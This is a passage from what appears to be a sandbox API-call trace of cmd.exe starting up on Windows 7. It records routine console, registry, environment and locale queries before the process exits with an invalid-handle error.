hConsoleHandle=0xfffffffffffffffe, lpMode=0x4a97e194 | out: lpMode=0x4a97e194) returned 1 [0054.089] _get_osfhandle (_FileHandle=1) returned 0xfffffffffffffffe [0054.089] SetConsoleMode (hConsoleHandle=0xfffffffffffffffe, dwMode=0x3) returned 1 [0054.090] _get_osfhandle (_FileHandle=0) returned 0xb8 [0054.090] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a97e198 | out: lpMode=0x4a97e198) returned 0 [0054.091] GetEnvironmentStringsW () returned 0x2e8a70* [0054.091] GetProcessHeap () returned 0x2d0000 [0054.091] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xa7c) returned 0x2e9500 [0054.091] FreeEnvironmentStringsW (penv=0x2e8a70) returned 1 [0054.091] GetProcessHeap () returned 0x2d0000 [0054.091] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x8) returned 0x2e9f90 [0054.091] GetEnvironmentStringsW () returned 0x2e8a70* [0054.092] GetProcessHeap () returned 0x2d0000 [0054.092] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xa7c) returned 0x2e9fb0 [0054.092] FreeEnvironmentStringsW (penv=0x2e8a70) returned 1 [0054.092] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x26e5e8 | out: phkResult=0x26e5e8*=0x44) returned 0x0 [0054.092] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x26e5e0, lpData=0x26e600, lpcbData=0x26e5e4*=0x1000 | out: lpType=0x26e5e0*=0x0, lpData=0x26e600*=0x18, lpcbData=0x26e5e4*=0x1000) returned 0x2 [0054.092] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x26e5e0, lpData=0x26e600, lpcbData=0x26e5e4*=0x1000 | out: lpType=0x26e5e0*=0x4, lpData=0x26e600*=0x1, lpcbData=0x26e5e4*=0x4) returned 0x0 [0054.093] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x26e5e0, lpData=0x26e600, lpcbData=0x26e5e4*=0x1000 | out: lpType=0x26e5e0*=0x0, lpData=0x26e600*=0x1, lpcbData=0x26e5e4*=0x1000) returned 0x2 [0054.093] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x26e5e0, lpData=0x26e600, lpcbData=0x26e5e4*=0x1000 | out: lpType=0x26e5e0*=0x4, lpData=0x26e600*=0x0, lpcbData=0x26e5e4*=0x4) returned 0x0 [0054.093] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x26e5e0, lpData=0x26e600, lpcbData=0x26e5e4*=0x1000 | out: lpType=0x26e5e0*=0x4, lpData=0x26e600*=0x40, lpcbData=0x26e5e4*=0x4) returned 0x0 [0054.093] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x26e5e0, lpData=0x26e600, lpcbData=0x26e5e4*=0x1000 | out: lpType=0x26e5e0*=0x4, lpData=0x26e600*=0x40, lpcbData=0x26e5e4*=0x4) returned 0x0 [0054.093] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x26e5e0, lpData=0x26e600, lpcbData=0x26e5e4*=0x1000 | out: lpType=0x26e5e0*=0x0, lpData=0x26e600*=0x40, lpcbData=0x26e5e4*=0x1000) returned 0x2 [0054.093] RegCloseKey (hKey=0x44) returned 0x0 [0054.093] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x26e5e8 | out: phkResult=0x26e5e8*=0x44) returned 0x0 [0054.094] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x26e5e0, lpData=0x26e600, lpcbData=0x26e5e4*=0x1000 | out: lpType=0x26e5e0*=0x0, lpData=0x26e600*=0x40, lpcbData=0x26e5e4*=0x1000) returned 0x2 [0054.094] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x26e5e0, lpData=0x26e600, lpcbData=0x26e5e4*=0x1000 | out: lpType=0x26e5e0*=0x4, lpData=0x26e600*=0x1, lpcbData=0x26e5e4*=0x4) returned 0x0 [0054.094] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x26e5e0, lpData=0x26e600, lpcbData=0x26e5e4*=0x1000 | out: lpType=0x26e5e0*=0x0, lpData=0x26e600*=0x1, lpcbData=0x26e5e4*=0x1000) returned 0x2 [0054.094] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x26e5e0, lpData=0x26e600, lpcbData=0x26e5e4*=0x1000 | out: lpType=0x26e5e0*=0x4, lpData=0x26e600*=0x0, lpcbData=0x26e5e4*=0x4) returned 0x0 [0054.094] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x26e5e0, lpData=0x26e600, lpcbData=0x26e5e4*=0x1000 | out: lpType=0x26e5e0*=0x4, lpData=0x26e600*=0x9, lpcbData=0x26e5e4*=0x4) returned 0x0 [0054.094] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x26e5e0, lpData=0x26e600, lpcbData=0x26e5e4*=0x1000 | out: lpType=0x26e5e0*=0x4, lpData=0x26e600*=0x9, lpcbData=0x26e5e4*=0x4) returned 0x0 [0054.094] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x26e5e0, lpData=0x26e600, lpcbData=0x26e5e4*=0x1000 | out: lpType=0x26e5e0*=0x0, lpData=0x26e600*=0x9, lpcbData=0x26e5e4*=0x1000) returned 0x2 [0054.095] RegCloseKey (hKey=0x44) returned 0x0 [0054.095] time (in: timer=0x0 | out: timer=0x0) returned 0x5e5e66ed [0054.095] srand (_Seed=0x5e5e66ed) [0054.095] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0054.095] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0054.095] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a98c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0054.096] GetProcessHeap () returned 0x2d0000 [0054.096] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x218) returned 0x2eaa40 [0054.096] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2eaa50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0054.097] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a97f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0054.097] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a97f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0054.097] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a97f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0054.097] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0054.097] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0054.097] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0054.097] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0054.097] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0054.097] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0054.097] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0054.097] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0054.097] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0054.097] GetProcessHeap () returned 0x2d0000 [0054.097] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e9500 | out: hHeap=0x2d0000) returned 1 [0054.098] GetEnvironmentStringsW () returned 0x2e8a70* [0054.098] GetProcessHeap () returned 0x2d0000 [0054.098] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xa94) returned 0x2eac60 [0054.099] FreeEnvironmentStringsW (penv=0x2e8a70) returned 1 [0054.099] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a97f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0054.099] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a97f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0054.099] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0054.099] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0054.099] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0054.099] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0054.099] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0054.099] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0054.099] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0054.100] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0054.100] GetProcessHeap () returned 0x2d0000 [0054.100] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x5c) returned 0x2eb700 [0054.100] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x26f3f0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0054.100] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x26f3f0, lpFilePart=0x26f3d0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x26f3d0*="Desktop") returned 0x25 [0054.100] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0054.101] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x26f100 | out: lpFindFileData=0x26f100*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x2eb770 [0054.101] FindClose (in: hFindFile=0x2eb770 | out: hFindFile=0x2eb770) returned 1 [0054.101] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x26f100 | out: lpFindFileData=0x26f100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x2eb770 [0054.102] FindClose (in: hFindFile=0x2eb770 | out: hFindFile=0x2eb770) returned 1 [0054.102] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0054.102] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x26f100 | out: lpFindFileData=0x26f100*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x63d65a00, ftLastAccessTime.dwHighDateTime=0x1d5f166, ftLastWriteTime.dwLowDateTime=0x63d65a00, ftLastWriteTime.dwHighDateTime=0x1d5f166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x2eb770 [0054.102] FindClose (in: hFindFile=0x2eb770 | out: hFindFile=0x2eb770) returned 1 [0054.102] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0054.102] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0054.103] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0054.103] GetProcessHeap () returned 0x2d0000 [0054.103] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eac60 | out: hHeap=0x2d0000) returned 1 [0054.103] GetEnvironmentStringsW () returned 0x2eb770* [0054.103] GetProcessHeap () returned 0x2d0000 [0054.103] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xae8) returned 0x2ec260 [0054.103] FreeEnvironmentStringsW (penv=0x2eb770) returned 1 [0054.103] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a98c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0054.103] GetProcessHeap () returned 0x2d0000 [0054.103] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eb700 | out: hHeap=0x2d0000) returned 1 [0054.103] GetProcessHeap () returned 0x2d0000 [0054.103] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x4016) returned 0x2ecd50 [0054.104] GetProcessHeap () returned 0x2d0000 [0054.104] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd50 | out: hHeap=0x2d0000) returned 1 [0054.104] GetConsoleOutputCP () returned 0x1b5 [0054.105] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a98bfe0 | out: lpCPInfo=0x4a98bfe0) returned 1 [0054.105] GetUserDefaultLCID () returned 0x409 [0054.106] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a987b50, cchData=8 | out: lpLCData=":") returned 2 [0054.106] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x26f500, cchData=128 | out: lpLCData="0") returned 2 [0054.106] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x26f500, cchData=128 | out: lpLCData="0") returned 2 [0054.106] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x26f500, cchData=128 | out: lpLCData="1") returned 2 [0054.106] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a99a740, cchData=8 | out: lpLCData="/") returned 2 [0054.106] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a99a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0054.107] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a99a460, cchData=32 | out: lpLCData="Tue") returned 4 [0054.107] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a99a420, cchData=32 | out: lpLCData="Wed") returned 4 [0054.107] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a99a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0054.107] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a99a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0054.107] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a99a360, cchData=32 | out: lpLCData="Sat") returned 4 [0054.107] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a99a700, cchData=32 | out: lpLCData="Sun") returned 4 [0054.107] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a987b40, cchData=8 | out: lpLCData=".") returned 2 [0054.107] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a99a4e0, cchData=8 | out: lpLCData=",") returned 2 [0054.108] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0054.109] GetProcessHeap () returned 0x2d0000 [0054.109] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x20c) returned 0x2e95d0 [0054.110] GetConsoleTitleW (in: lpConsoleTitle=0x2e95d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0054.110] _get_osfhandle (_FileHandle=1) returned 0xfffffffffffffffe [0054.110] GetFileType (hFile=0xfffffffffffffffe) returned 0x0 [0054.111] BrandingFormatString () returned 0x2e97f0 [0054.125] GetVersion () returned 0x1db10106 [0054.125] _vsnwprintf (in: _Buffer=0x26f670, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x26f608 | out: _Buffer="6.1.7601") returned 8 [0054.125] _get_osfhandle (_FileHandle=1) returned 0xfffffffffffffffe [0054.125] GetFileType (hFile=0xfffffffffffffffe) returned 0x0 [0054.125] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a996340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0054.126] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a996340, nSize=0x2000, Arguments=0x26f610 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0054.126] _get_osfhandle (_FileHandle=1) returned 0xfffffffffffffffe [0054.126] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a98c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0054.126] WriteFile (in: hFile=0xfffffffffffffffe, lpBuffer=0x4a98c320, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x26f598, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26f598, lpOverlapped=0x0) returned 0 [0054.248] GetLastError () returned 0x6 [0054.248] _vsnwprintf (in: _Buffer=0x4a996340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f638 | out: _Buffer="\r\n") returned 2 [0054.249] _get_osfhandle (_FileHandle=1) returned 0xfffffffffffffffe [0054.249] GetFileType (hFile=0xfffffffffffffffe) returned 0x0 [0054.249] _get_osfhandle (_FileHandle=1) returned 0xfffffffffffffffe [0054.249] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a98c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0054.249] WriteFile (in: hFile=0xfffffffffffffffe, lpBuffer=0x4a98c320, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x26f608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26f608, lpOverlapped=0x0) returned 0 [0054.250] GetLastError () returned 0x6 [0054.250] _get_osfhandle (_FileHandle=1) returned 0xfffffffffffffffe [0054.250] GetFileType (hFile=0xfffffffffffffffe) returned 0x0 [0054.250] _get_osfhandle (_FileHandle=1) returned 0xfffffffffffffffe [0054.250] GetFileType (hFile=0xfffffffffffffffe) returned 0x0 [0054.301] _get_osfhandle (_FileHandle=2) returned 0xfffffffffffffffe [0054.301] GetFileType (hFile=0xfffffffffffffffe) returned 0x0 [0054.302] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x6, dwLanguageId=0x0, lpBuffer=0x4a996340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="The handle is invalid.\r\n") returned 0x18 [0054.307] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x6, dwLanguageId=0x0, lpBuffer=0x4a996340, nSize=0x2000, Arguments=0x26f570 | out: lpBuffer="The handle is invalid.\r\n") returned 0x18 [0054.307] _get_osfhandle (_FileHandle=2) returned 0xfffffffffffffffe [0054.307] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="The handle is invalid.\r\n", cchWideChar=-1, lpMultiByteStr=0x4a98c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="The handle is invalid.\r\n", lpUsedDefaultChar=0x0) returned 25 [0054.307] WriteFile (in: hFile=0xfffffffffffffffe, lpBuffer=0x4a98c320, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x26f4f8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26f4f8, lpOverlapped=0x0) returned 0 [0054.307] GetLastError () returned 0x6 [0054.307] exit (_Code=1)